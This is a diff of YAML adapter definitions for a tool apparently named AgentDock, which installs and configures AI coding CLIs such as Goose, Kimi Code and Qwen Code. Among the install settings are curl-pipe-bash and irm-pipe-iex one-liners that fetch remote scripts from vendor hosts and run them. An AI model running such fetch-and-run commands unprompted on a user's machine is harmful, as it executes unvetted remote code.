- param: --list-models
|
||||||
|
desc_zh: 列出可用模型
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 命令名是 `agent`(不是 cursor-agent),detect 以 agent 为准
|
||||||
|
- 真机 `agent --version` 返回日期式版本 2026.08.11-e8db854(version_regex 已据此填写)
|
||||||
|
- 账户体系为主,cli-config.json 高级键本表单只覆盖常用项,以官方文档为准
|
||||||
|
|||||||
@@ -46,6 +46,9 @@ detect:
|
|||||||
update:
|
update:
|
||||||
method: npm_update
|
method: npm_update
|
||||||
command: [npm, update, -g, "@google/gemini-cli"]
|
command: [npm, update, -g, "@google/gemini-cli"]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@google/gemini-cli"
|
||||||
|
|
||||||
uninstall:
|
uninstall:
|
||||||
method: npm_uninstall
|
method: npm_uninstall
|
||||||
@@ -102,6 +105,15 @@ configuration:
|
|||||||
storage: keyring
|
storage: keyring
|
||||||
docs_url: https://geminicli.com/docs/get-started/authentication/
|
docs_url: https://geminicli.com/docs/get-started/authentication/
|
||||||
|
|
||||||
|
models:
|
||||||
|
list:
|
||||||
|
- id: gemini-3-pro
|
||||||
|
label_zh: Gemini 3 Pro
|
||||||
|
- id: gemini-2.5-flash
|
||||||
|
label_zh: Gemini 2.5 Flash
|
||||||
|
- id: gemini-2.5-pro
|
||||||
|
label_zh: Gemini 2.5 Pro
|
||||||
|
|
||||||
diagnostics:
|
diagnostics:
|
||||||
- rule_id: path.not_installed
|
- rule_id: path.not_installed
|
||||||
- rule_id: path.not_in_path
|
- rule_id: path.not_in_path
|
||||||
|
|||||||
+147
-21
@@ -1,28 +1,154 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Goose(Linux 基金会 AAIF / Block)(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 注意:配置 YAML;Windows 路径差异 %APPDATA%\Block\goose\config\;密钥默认进系统钥匙串。
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: goose
|
id: goose
|
||||||
name: Goose
|
name: Goose
|
||||||
name_zh: Goose
|
name_zh: Goose
|
||||||
vendor: Linux 基金会(AAIF)
|
vendor: Linux 基金会(AAIF)
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: Apache-2.0
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 官方 download_cli.ps1;配置位于 %APPDATA%\Block\goose\config\
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://block.github.io/goose/
|
||||||
|
docs: https://block.github.io/goose/docs/
|
||||||
|
allowed_hosts: [github.com, api.github.com, raw.githubusercontent.com, block.github.io]
|
||||||
|
|
||||||
|
runtime_deps: []
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: official_script
|
||||||
|
channels:
|
||||||
|
- id: official_script
|
||||||
|
platforms: [windows]
|
||||||
|
script:
|
||||||
|
url: https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1
|
||||||
|
kind: powershell_irm
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: official_script
|
||||||
|
platforms: [linux]
|
||||||
|
script:
|
||||||
|
url: https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh
|
||||||
|
kind: bash_pipe
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: github_release
|
||||||
|
platforms: [windows, linux]
|
||||||
|
package: goose
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: goose
|
||||||
|
version_args: ["--version"]
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: self_update_cmd
|
||||||
|
command: [goose, update]
|
||||||
|
source:
|
||||||
|
kind: github
|
||||||
|
repo: aaif-goose/goose
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: manual_delete
|
||||||
|
command: []
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||||
|
notes_zh: 各家模型 API Key(密钥默认进系统钥匙串);另有订阅 ACP 接入
|
||||||
|
|
||||||
|
# 配置机制(调研底稿 Goose 章节):YAML。密钥默认进系统钥匙串,不写入 config.yaml。
|
||||||
|
# 按平台选型(引擎按 files[].platforms 过滤当前平台):
|
||||||
|
# Windows -> %APPDATA%\Block\goose\config\config.yaml(比旧版多一层 config\)
|
||||||
|
# Linux -> ~/.config/goose/config.yaml
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "%APPDATA%\\Block\\goose\\config\\config.yaml"
|
||||||
|
format: yaml
|
||||||
|
scope: user
|
||||||
|
platforms: [windows]
|
||||||
|
- path: "~/.config/goose/config.yaml"
|
||||||
|
format: yaml
|
||||||
|
scope: user
|
||||||
|
platforms: [linux]
|
||||||
|
environment:
|
||||||
|
- key: ANTHROPIC_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: GOOSE_PROVIDER
|
||||||
|
label_zh: 默认 Provider
|
||||||
|
group: common
|
||||||
|
help_zh: 官方键 GOOSE_PROVIDER(如 anthropic / openai / databricks / ollama 等)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://block.github.io/goose/docs/
|
||||||
|
- id: GOOSE_MODEL
|
||||||
|
label_zh: 默认模型
|
||||||
|
group: common
|
||||||
|
help_zh: 官方键 GOOSE_MODEL,默认模型
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://block.github.io/goose/docs/
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统钥匙串(Goose 密钥本就默认进系统钥匙串,不写入 config.yaml)
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://block.github.io/goose/docs/
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后配置 provider 与 API Key,运行 `goose` 进入会话,或用 `goose -p "提示词"` 无头执行。
|
||||||
|
install_zh: Windows 用官方 download_cli.ps1;Ubuntu 用官方 download_cli.sh。备选 GitHub Releases 二进制 / brew / deb。
|
||||||
|
auth_zh: ① API Key:各家模型 Key(Anthropic/OpenAI 等),密钥默认进系统钥匙串;② 订阅 ACP(Agent Client Protocol)接入。
|
||||||
|
commands:
|
||||||
|
- cmd: goose
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: goose -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: goose configure
|
||||||
|
desc_zh: 交互式配置 provider/模型
|
||||||
|
- cmd: goose --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式执行后退出
|
||||||
|
- param: --provider
|
||||||
|
desc_zh: 指定 provider
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 安装 URL 与配置路径已按官方与调研底稿核对(aaif-goose 仓库;Windows 为 %APPDATA%\Block\goose\config\config.yaml,Linux 为 ~/.config/goose/config.yaml)
|
||||||
|
- Windows 配置路径比旧版多一层 config\(%APPDATA%\Block\goose\config\),引擎按 files[].platforms 选型
|
||||||
|
- 密钥默认进系统钥匙串,AgentDock 与之对齐,不把 Key 写入 config.yaml
|
||||||
|
- extensions / profiles 等高级配置本表单不覆盖,以官方文档为准
|
||||||
|
|||||||
+88
-77
@@ -1,57 +1,52 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器 · Kimi CLI(月之暗面 Moonshot)(Wave 2.1)
|
# AgentDock 适配器 · Kimi Code CLI(月之暗面 Moonshot)(Wave 3.1 换代)
|
||||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md(Kimi 章节)+ 架构 §3.3
|
# 换代依据:老板实测官方现行安装已切换至 kimi-code 线,本适配器弃用旧 kimi-cli(PyPI)线。
|
||||||
# 铁律:只走官方 code.kimi.com 脚本 / PyPI kimi-cli,严禁 npm(仿名包)。
|
# 核对来源(当日官方页面为准,2026-08-25):
|
||||||
|
# - 仓库/README:https://github.com/MoonshotAI/kimi-code
|
||||||
|
# - 官方文档:https://moonshotai.github.io/kimi-code/en/
|
||||||
|
# - 配置:https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||||
|
# - 数据位置:https://moonshotai.github.io/kimi-code/en/configuration/data-locations.html
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: kimi
|
id: kimi
|
||||||
name: Kimi CLI
|
name: Kimi Code CLI
|
||||||
name_zh: Kimi CLI
|
name_zh: Kimi Code CLI
|
||||||
vendor: 月之暗面
|
vendor: 月之暗面
|
||||||
status: available
|
status: available
|
||||||
adapter_version: 1.1.0
|
adapter_version: 1.2.0
|
||||||
license: Apache-2.0
|
license: MIT
|
||||||
|
|
||||||
platforms:
|
platforms:
|
||||||
windows:
|
windows:
|
||||||
architectures: [x64]
|
architectures: [x64]
|
||||||
notes: 原生支持(PowerShell 脚本安装,非 WSL)
|
notes: 原生支持(官方 PowerShell 脚本安装,需 Git for Windows 作 shell 环境)
|
||||||
linux:
|
linux:
|
||||||
distributions: [ubuntu]
|
distributions: [ubuntu]
|
||||||
architectures: [x64]
|
architectures: [x64]
|
||||||
|
|
||||||
official:
|
official:
|
||||||
homepage: https://github.com/MoonshotAI/kimi-cli
|
homepage: https://github.com/MoonshotAI/kimi-code
|
||||||
docs: https://moonshotai.github.io/kimi-cli/en/guides/getting-started.html
|
docs: https://moonshotai.github.io/kimi-code/en/
|
||||||
allowed_hosts: [code.kimi.com, pypi.org, github.com]
|
allowed_hosts: [code.kimi.com, moonshotai.github.io, github.com, api.github.com, api.kimi.com, api.moonshot.cn]
|
||||||
|
|
||||||
runtime_deps:
|
runtime_deps:
|
||||||
- id: uv
|
- id: git
|
||||||
semver_range: ">=0"
|
semver_range: ">=0"
|
||||||
required_for: [install]
|
|
||||||
- id: python
|
|
||||||
semver_range: ">=3.12"
|
|
||||||
required_for: [run]
|
required_for: [run]
|
||||||
|
|
||||||
install:
|
install:
|
||||||
preferred: pypi_uv
|
preferred: official_script
|
||||||
channels:
|
channels:
|
||||||
- id: pypi_uv
|
|
||||||
platforms: [windows, linux]
|
|
||||||
command: [uv, tool, install, kimi-cli]
|
|
||||||
package: kimi-cli
|
|
||||||
elevate: never
|
|
||||||
post_checks: [detect]
|
|
||||||
- id: official_script
|
- id: official_script
|
||||||
platforms: [windows]
|
platforms: [windows]
|
||||||
script:
|
script:
|
||||||
url: https://code.kimi.com/install.ps1
|
url: https://code.kimi.com/kimi-code/install.ps1
|
||||||
kind: powershell_irm
|
kind: powershell_irm
|
||||||
elevate: never
|
elevate: never
|
||||||
post_checks: [detect]
|
post_checks: [detect]
|
||||||
- id: official_script
|
- id: official_script
|
||||||
platforms: [linux]
|
platforms: [linux]
|
||||||
script:
|
script:
|
||||||
url: https://code.kimi.com/install.sh
|
url: https://code.kimi.com/kimi-code/install.sh
|
||||||
kind: bash_pipe
|
kind: bash_pipe
|
||||||
elevate: never
|
elevate: never
|
||||||
post_checks: [detect]
|
post_checks: [detect]
|
||||||
@@ -61,110 +56,126 @@ detect:
|
|||||||
version_args: ["--version"]
|
version_args: ["--version"]
|
||||||
|
|
||||||
update:
|
update:
|
||||||
method: pypi_upgrade
|
method: manual
|
||||||
command: [uv, tool, upgrade, kimi-cli]
|
command: []
|
||||||
|
source:
|
||||||
|
kind: github
|
||||||
|
repo: MoonshotAI/kimi-code
|
||||||
|
|
||||||
uninstall:
|
uninstall:
|
||||||
method: package_manager
|
method: manual_delete
|
||||||
command: [uv, tool, uninstall, kimi-cli]
|
command: []
|
||||||
keep_config_default: true
|
keep_config_default: true
|
||||||
|
|
||||||
authorization:
|
authorization:
|
||||||
modes:
|
modes:
|
||||||
- mode: browser_oauth
|
- mode: browser_oauth
|
||||||
command: [kimi, login]
|
command: [kimi]
|
||||||
notes_zh: Kimi Code 浏览器 OAuth(推荐)
|
notes_zh: 运行 kimi 后在界面输入 /login,选 Kimi Code OAuth(推荐)
|
||||||
- mode: api_key
|
- mode: api_key
|
||||||
env_keys: [KIMI_API_KEY]
|
notes_zh: Moonshot 开放平台 API Key(官方写入 config.toml providers;AgentDock 密钥存系统密钥库)
|
||||||
notes_zh: Moonshot 开放平台 API Key
|
credential_files:
|
||||||
|
- "~/.kimi-code/credentials"
|
||||||
|
test:
|
||||||
|
url: https://api.moonshot.cn/v1/models
|
||||||
|
key_header: Authorization
|
||||||
|
bearer: true
|
||||||
|
|
||||||
# 配置机制(调研底稿 Kimi 章节):~/.kimi/config.toml(TOML,兼容 JSON)
|
# 配置机制(官方 config-files 文档):~/.kimi-code/config.toml(TOML,snake_case)
|
||||||
# 可配 default_model、providers(type/base_url/api_key)、models 等;
|
# 常用字段:default_model / default_permission_mode(manual|yolo|auto)/ default_plan_mode;
|
||||||
# 环境变量:KIMI_API_KEY / KIMI_BASE_URL / KIMI_MODEL_NAME / KIMI_MODEL_TEMPERATURE。
|
# providers 表(type/base_url/api_key)、models 表(模型别名)。默认模型别名必须定义在 models 表。
|
||||||
|
# 环境变量:KIMI_CODE_HOME(数据目录)、KIMI_MODEL_*(临时模型),密钥不自动从 shell 环境变量读取。
|
||||||
configuration:
|
configuration:
|
||||||
files:
|
files:
|
||||||
- path: "~/.kimi/config.toml"
|
- path: "~/.kimi-code/config.toml"
|
||||||
format: toml
|
format: toml
|
||||||
scope: user
|
scope: user
|
||||||
environment:
|
environment: []
|
||||||
- key: KIMI_API_KEY
|
|
||||||
sensitive: true
|
|
||||||
maps_to_field: api_key
|
|
||||||
fields:
|
fields:
|
||||||
- id: default_model
|
- id: default_model
|
||||||
label_zh: 默认模型
|
label_zh: 默认模型
|
||||||
group: common
|
group: common
|
||||||
help_zh: 官方键 default_model,Kimi CLI 使用的默认模型
|
help_zh: 官方键 default_model(模型别名,须已在 models 表定义),如 kimi-code/k3
|
||||||
required: false
|
required: false
|
||||||
sensitive: false
|
sensitive: false
|
||||||
type: string
|
type: string
|
||||||
storage: file
|
storage: file
|
||||||
docs_url: https://moonshotai.github.io/kimi-cli/en/configuration/config-files.html
|
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||||
- id: env.KIMI_BASE_URL
|
- id: default_permission_mode
|
||||||
label_zh: Base URL
|
label_zh: 权限模式
|
||||||
group: advanced
|
group: advanced
|
||||||
help_zh: 官方环境变量 KIMI_BASE_URL(自定义 OpenAI 兼容端点);写入 config.toml 的 env 表,若需进程级生效请以官方 env-vars 文档为准
|
help_zh: 官方键 default_permission_mode,新会话默认权限模式
|
||||||
required: false
|
required: false
|
||||||
sensitive: false
|
sensitive: false
|
||||||
type: url
|
type: enum
|
||||||
storage: file
|
storage: file
|
||||||
docs_url: https://moonshotai.github.io/kimi-cli/en/configuration/env-vars.html
|
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||||
|
options:
|
||||||
|
- value: manual
|
||||||
|
label_zh: 手动确认(每次询问)
|
||||||
|
- value: yolo
|
||||||
|
label_zh: 自动放行(可能仍会提问)
|
||||||
|
- value: auto
|
||||||
|
label_zh: 全自动(自主决定)
|
||||||
- id: api_key
|
- id: api_key
|
||||||
label_zh: API Key
|
label_zh: API Key
|
||||||
group: auth
|
group: auth
|
||||||
help_zh: 存入系统密钥库(对应环境变量 KIMI_API_KEY,Moonshot 开放平台获取)
|
help_zh: 存入系统密钥库(Moonshot 开放平台 API Key;官方也支持写入 config.toml providers.api_key,AgentDock 密钥不落明文)
|
||||||
required: false
|
required: false
|
||||||
sensitive: true
|
sensitive: true
|
||||||
type: string
|
type: string
|
||||||
storage: keyring
|
storage: keyring
|
||||||
docs_url: https://moonshotai.github.io/kimi-cli/en/configuration/env-vars.html
|
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||||
|
|
||||||
|
# 模型清单(官方 config-files 示例中 /login 预置的 managed:kimi-code 别名)
|
||||||
|
models:
|
||||||
|
list:
|
||||||
|
- id: kimi-code/k3
|
||||||
|
label_zh: K3(旗舰推理)
|
||||||
|
- id: kimi-code/kimi-for-coding
|
||||||
|
label_zh: Kimi for Coding(均衡)
|
||||||
|
- id: kimi-code/kimi-for-coding-highspeed
|
||||||
|
label_zh: Kimi for Coding 高速版
|
||||||
|
|
||||||
diagnostics:
|
diagnostics:
|
||||||
- rule_id: path.not_installed
|
- rule_id: path.not_installed
|
||||||
- rule_id: path.not_in_path
|
- rule_id: path.not_in_path
|
||||||
- rule_id: dependency.uv
|
- rule_id: dependency.git
|
||||||
- rule_id: dependency.python_below_min
|
|
||||||
- rule_id: version_conflict.multiple_copies
|
- rule_id: version_conflict.multiple_copies
|
||||||
- rule_id: config.corrupt
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
documentation:
|
documentation:
|
||||||
quickstart_zh: 安装后运行 `kimi login` 登录,或用 `kimi -p "提示词"` 无头执行。
|
quickstart_zh: 安装后运行 `kimi` 进入交互界面,首次启动输入 `/login` 选 Kimi Code OAuth 或 Moonshot API Key;也可 `kimi -p "提示词"` 无头执行。
|
||||||
install_zh: 只走官方渠道:`uv tool install kimi-cli`(本适配器默认)或官方脚本 code.kimi.com/install.sh(install.ps1)。脚本会自动装 uv 并从 PyPI kimi-cli 安装。严禁 npm(npm 上的 kimi-code 是第三方仿名包)。
|
install_zh: 只走官方脚本:Windows `irm https://code.kimi.com/kimi-code/install.ps1 | iex`,macOS/Linux `curl -fsSL https://code.kimi.com/kimi-code/install.sh | bash`(单二进制发行,无需 Node.js)。Windows 首次启动前需装 Git for Windows(作 shell 环境)。
|
||||||
auth_zh: ① Kimi Code 浏览器 OAuth(推荐,`kimi login`);② Moonshot 开放平台 API Key(platform 侧获取后粘贴,经 KIMI_API_KEY 注入)。`kimi logout` 清除 OAuth 凭据。
|
auth_zh: ① Kimi Code OAuth(推荐,TUI 内 /login);② Moonshot 开放平台 API Key。登录凭据存于 `~/.kimi-code/credentials/`,/logout 清除。
|
||||||
commands:
|
commands:
|
||||||
- cmd: kimi
|
- cmd: kimi
|
||||||
desc_zh: 启动交互式会话
|
desc_zh: 启动交互式会话(TUI)
|
||||||
- cmd: kimi login
|
|
||||||
desc_zh: 登录(浏览器 OAuth 或 API Key)
|
|
||||||
- cmd: kimi logout
|
|
||||||
desc_zh: 清除 OAuth 凭据
|
|
||||||
- cmd: kimi -p "提示词"
|
- cmd: kimi -p "提示词"
|
||||||
desc_zh: 无头单次执行
|
desc_zh: 无头单次执行(print 模式)
|
||||||
- cmd: kimi --output-format stream-json -p "提示词"
|
|
||||||
desc_zh: print 模式 JSON 流输出
|
|
||||||
- cmd: kimi --quiet
|
|
||||||
desc_zh: 静默模式
|
|
||||||
- cmd: kimi --version
|
- cmd: kimi --version
|
||||||
desc_zh: 显示版本号
|
desc_zh: 显示版本号
|
||||||
- cmd: kimi info
|
|
||||||
desc_zh: 显示版本与协议信息
|
|
||||||
- cmd: kimi acp
|
- cmd: kimi acp
|
||||||
desc_zh: IDE 集成 stdio(ACP 协议)
|
desc_zh: IDE 集成 stdio(ACP 协议)
|
||||||
|
- cmd: /login
|
||||||
|
desc_zh: 登录(Kimi Code OAuth 或 Moonshot API Key)
|
||||||
|
- cmd: /model
|
||||||
|
desc_zh: 切换模型
|
||||||
|
- cmd: /mcp-config
|
||||||
|
desc_zh: 配置 MCP 服务器
|
||||||
params:
|
params:
|
||||||
- param: -p / --prompt
|
- param: -p / --print
|
||||||
desc_zh: 处理后退出(无头模式)
|
desc_zh: 无头模式,执行后退出
|
||||||
- param: --print
|
|
||||||
desc_zh: 打印模式
|
|
||||||
- param: --output-format
|
- param: --output-format
|
||||||
desc_zh: 输出格式(如 stream-json)
|
desc_zh: 输出格式(如 stream-json)
|
||||||
|
- param: -m / --model
|
||||||
|
desc_zh: 指定模型别名
|
||||||
- param: --quiet
|
- param: --quiet
|
||||||
desc_zh: 静默模式
|
desc_zh: 静默模式
|
||||||
- param: --afk
|
- param: --session
|
||||||
desc_zh: 离键模式
|
desc_zh: 恢复指定会话
|
||||||
- param: --config-file
|
|
||||||
desc_zh: 指定配置文件路径
|
|
||||||
updated_at: "2026-08-25"
|
updated_at: "2026-08-25"
|
||||||
risks_zh:
|
risks_zh:
|
||||||
- 严禁 npm:npm 上的 kimi-code 是第三方仿名包,与月之暗面无关
|
- 已换代:旧 PyPI `kimi-cli` 线废止,官方现行安装为 kimi-code 脚本(本适配器 1.2.0 已改)
|
||||||
- 官方脚本会自动安装 uv 并从 PyPI kimi-cli 安装(Python 3.12–3.14)
|
- 官方密钥不自动从 shell 环境变量读取,需写入 config.toml providers 表;AgentDock 密钥存系统密钥库(测试连通直连官方接口),OAuth 登录为推荐路径
|
||||||
- providers 表(type/base_url/api_key 多 provider)等高级配置本表单不覆盖,以官方 config-files 文档为准
|
- 模型别名与 providers/models 高级配置以官方 config-files 文档为准,本表单不覆盖
|
||||||
|
|||||||
@@ -62,6 +62,9 @@ detect:
|
|||||||
update:
|
update:
|
||||||
method: self_update_cmd
|
method: self_update_cmd
|
||||||
command: [opencode, upgrade]
|
command: [opencode, upgrade]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: opencode-ai
|
||||||
|
|
||||||
uninstall:
|
uninstall:
|
||||||
method: npm_uninstall
|
method: npm_uninstall
|
||||||
|
|||||||
+143
-21
@@ -1,28 +1,150 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Qwen Code(阿里巴巴)(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 真机:qwen --version → 0.21.15;配置 ~/.qwen/settings.json(JSON,env/modelProviders/model)
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: qwen
|
id: qwen
|
||||||
name: Qwen Code
|
name: Qwen Code
|
||||||
name_zh: Qwen Code
|
name_zh: Qwen Code
|
||||||
vendor: 阿里巴巴
|
vendor: 阿里巴巴
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: Apache-2.0
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 原生支持(npm / 阿里 OSS 独立脚本,非 WSL)
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://github.com/QwenLM/qwen-code
|
||||||
|
docs: https://qwen.ai/
|
||||||
|
allowed_hosts: [registry.npmjs.org, github.com, qwen.ai, dashscope.aliyuncs.com]
|
||||||
|
|
||||||
|
runtime_deps:
|
||||||
|
- id: node
|
||||||
|
semver_range: ">=22"
|
||||||
|
required_for: [install, run]
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: npm
|
||||||
|
channels:
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "@qwen-code/qwen-code"]
|
||||||
|
package: "@qwen-code/qwen-code"
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: qwen
|
||||||
|
version_args: ["--version"]
|
||||||
|
version_regex: "^v?(\\d+\\.\\d+\\.\\d+)"
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: npm_update
|
||||||
|
command: [npm, update, -g, "@qwen-code/qwen-code"]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@qwen-code/qwen-code"
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: npm_uninstall
|
||||||
|
command: [npm, uninstall, -g, "@qwen-code/qwen-code"]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [DASHSCOPE_API_KEY]
|
||||||
|
notes_zh: 免费 OAuth 已停用(qwen auth 命令已移除),仅支持 API Key(阿里云百炼 DashScope;也可在 settings.json 接 OpenAI 兼容端点)
|
||||||
|
|
||||||
|
# 配置机制(真机 ~/.qwen/settings.json,JSON):model.name / model.baseUrl 设默认模型;
|
||||||
|
# env 块注入环境变量(API Key);modelProviders 接多 provider(含 OpenAI 兼容端点)。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.qwen/settings.json"
|
||||||
|
format: json
|
||||||
|
scope: user
|
||||||
|
environment:
|
||||||
|
- key: DASHSCOPE_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: model.name
|
||||||
|
label_zh: 默认模型
|
||||||
|
group: common
|
||||||
|
help_zh: 官方键 model.name,settings.json 中的默认模型
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://qwen.ai/
|
||||||
|
- id: model.baseUrl
|
||||||
|
label_zh: Base URL
|
||||||
|
group: advanced
|
||||||
|
help_zh: 官方键 model.baseUrl,默认模型服务端点(OpenAI 兼容网关/代理场景)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: url
|
||||||
|
storage: file
|
||||||
|
docs_url: https://qwen.ai/
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应环境变量 DASHSCOPE_API_KEY,阿里云百炼申请)
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://qwen.ai/
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: dependency.node_below_min
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
